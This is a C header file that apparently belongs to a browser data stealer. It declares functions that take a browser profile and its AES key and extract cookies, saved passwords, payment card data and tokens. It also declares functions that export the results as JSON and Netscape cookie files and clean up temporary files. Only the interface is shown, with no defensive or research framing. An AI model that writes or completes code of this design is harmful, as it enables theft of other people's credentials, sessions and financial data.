#ifndef EXTRACTOR_H
#define EXTRACTOR_H

#include "types.h"
#include "sqlite3.h"

typedef struct {
    const wchar_t* db_path;
    const char* output_name;
    const char* sql_query;
} ExtractionConfig;

typedef struct {
    const wchar_t* profile_path;
    const wchar_t* output_base;
    const char* browser_name;
    const uint8_t* aes_key;
    size_t key_len;
} ExtractionContext;

StringArray* extract_cookies(const ExtractionContext* ctx);
StringArray* extract_passwords(const ExtractionContext* ctx);
StringArray* extract_payments(const ExtractionContext* ctx);
StringArray* extract_tokens(const ExtractionContext* ctx);

bool write_json_array(const wchar_t* file_path, StringArray* entries);
bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries);

void cleanup_temp_files(void);

#endif // EXTRACTOR_H